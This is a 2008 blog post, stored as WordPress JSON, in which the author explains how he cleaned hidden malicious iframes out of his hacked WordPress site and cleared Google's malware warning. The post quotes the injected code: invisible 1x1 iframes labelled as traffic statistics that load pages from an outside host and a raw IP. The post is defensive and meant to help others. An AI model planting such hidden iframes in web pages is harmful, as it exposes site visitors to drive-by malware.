{"id":129,"date":"2008-03-06T01:33:04","date_gmt":"2008-03-06T06:33:04","guid":{"rendered":"http:\/\/www.jasonmorrison.net\/content\/2008\/fixing-a-this-site-may-harm-your-computer-warning-part-2-hidden-iframes\/"},"modified":"2008-03-06T20:39:55","modified_gmt":"2008-03-07T01:39:55","slug":"fixing-a-this-site-may-harm-your-computer-warning-part-2-hidden-iframes","status":"publish","type":"post","link":"http:\/\/www.jasonmorrison.net\/content\/2008\/fixing-a-this-site-may-harm-your-computer-warning-part-2-hidden-iframes\/","title":{"rendered":"Fixing a &#8216;This site may harm your computer&#8217; warning, part 2:  Hidden iFrames"},"content":{"rendered":"<p>Earlier I wrote about <a href=\"http:\/\/www.jasonmorrison.net\/content\/2008\/what-i-did-when-my-site-showed-up-as-a-bad-link\/\">what I did when my WordPress blog started returning a &#8220;This site may harm your computer&#8221; warning<\/a> in Google and Firefox.  Just to recap, these are the first steps to take to fix the problem:<\/p>\n<ol>\n<li><strong>Plug the hole<\/strong> &#8211; update WordPress (or your blog, forum, or CMS software) to plug any security holes.<\/li>\n<li><strong>Repair the damage<\/strong> &#8211; search for spammy outgoing links or malware files on your pages and delete them.<\/li>\n<li><strong>Clear your good name<\/strong> &#8211; request a review by StopBadware.org and in Google Webmaster Tools.<\/li>\n<\/ol>\n<p>This is the right process to follow, but it turns out that I was a bit premature in doing step 3.  Spammers and spyware spreaders are a wily, unpredictable bunch and they can&#8217;t be expected to stick to simple tactics like inserting links into posts.<\/p>\n<p>The other tactic they used on my site was inserting <strong>invisible iFrames<\/strong>.  These are harder to find because there aren&#8217;t as many automated tools to find them (or, at least, I don&#8217;t know of any) so it takes some manual searching through your source code.  Here&#8217;s what the malware code looked like:<\/p>\n<blockquote><p><code><br \/>\n&lt;!-- Traffic Statistics --&gt; &lt;iframe src=http:\/\/www.wp-stats-php.info\/iframe\/wp-stats.php width=1 height=1 frameborder=0&gt;&lt;\/iframe&gt; &lt;!-- End Traffic Statistics --&gt;<\/code><\/p>\n<p>&lt;noscript&gt;&lt;\/noscript&gt; &lt;iframe src=&#8221;http:\/\/61.132.75.71\/iframe\/wp-stats.php&#8221; frameborder=&#8221;0&#8243; height=&#8221;1&#8243; width=&#8221;1&#8243;&gt;&lt;\/iframe&gt;&lt;br \/&gt;<br \/>\n&lt;!&#8211; End Traffic Statistics &#8211;&gt;<\/p><\/blockquote>\n<p>It looks like others have <a href=\"http:\/\/wordpress.org\/support\/topic\/151888\">run into the same issue<\/a>.   Your anti-virus software may even give you a warning about a virus in a file named &#8220;wp-stats[1].htm.&#8221;  In my case AVG Antvirus warned me about a trojan horse in my temp folder.<\/p>\n<p>Once I removed the iframes, I resubmitted my request in Google Webmaster Tools.  Here&#8217;s another helpful hint that took me a while to figure out:  If only part of your site has been hacked and is marked in StopBadware.org&#8217;s database, you should Add that subdirectory as a new site in Webmaster Tools.  Here&#8217;s an illustration (click to see full size):<\/p>\n<p><a href=\"http:\/\/www.jasonmorrison.net\/content\/photos\/photo\/2314214350\/webmaster-tools-subdir.html\" class=\"tt-flickr\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/farm3.static.flickr.com\/2094\/2314214350_e1e54cfec4.jpg\" alt=\"webmaster-tools-subdir\" border=\"0\" height=\"245\" width=\"500\" \/><\/a><\/p>\n<p>In this screenshot you can see my main site, www.jasonmorrison.net.  If I click there I don&#8217;t see any warning about spam or viruses in my blog at www.jasonmorrison.net\/content.  So I just added my blog as a new &#8220;site&#8221; and there I could see the warnings and make a reconsideration request.<\/p>\n<p>One last thing:  Google may send out an email to try to let you know about these sorts of problems.  I never saw these emails, though, since they go to addresses like abuse@yourdomain.com and admin@yourdomain.comthat spammers also like to use.  They ended up in my spam bucket.  So you might want to whitelist email from google.com.<\/p>\n<p>Next in part three I&#8217;ll talk about what to do when a whole subdomain (perhaps with a forum) is filled with spam.  Please put questions or additional suggestions in the comments below.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Earlier I wrote about what I did when my WordPress blog started returning a &#8220;This site may harm your computer&#8221; warning in Google and Firefox. Just to recap, these are the first steps to take to fix the problem: Plug the hole &#8211; update WordPress (or your blog, forum, or CMS software) to plug any [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[19],"tags":[759,20,80,234,88,233,220,221,232,46,110],"class_list":["post-129","post","type-post","status-publish","format-standard","hentry","category-blog","tag-blog","tag-firefox","tag-google","tag-google-webmaster-tools","tag-how-to","tag-iframe","tag-spam","tag-spyware","tag-virus","tag-web-development","tag-wordpress"],"aioseo_notices":[],"_links":{"self":[{"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/posts\/129","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/comments?post=129"}],"version-history":[{"count":0,"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/posts\/129\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/media?parent=129"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/categories?post=129"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.jasonmorrison.net\/content\/wp-json\/wp\/v2\/tags?post=129"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}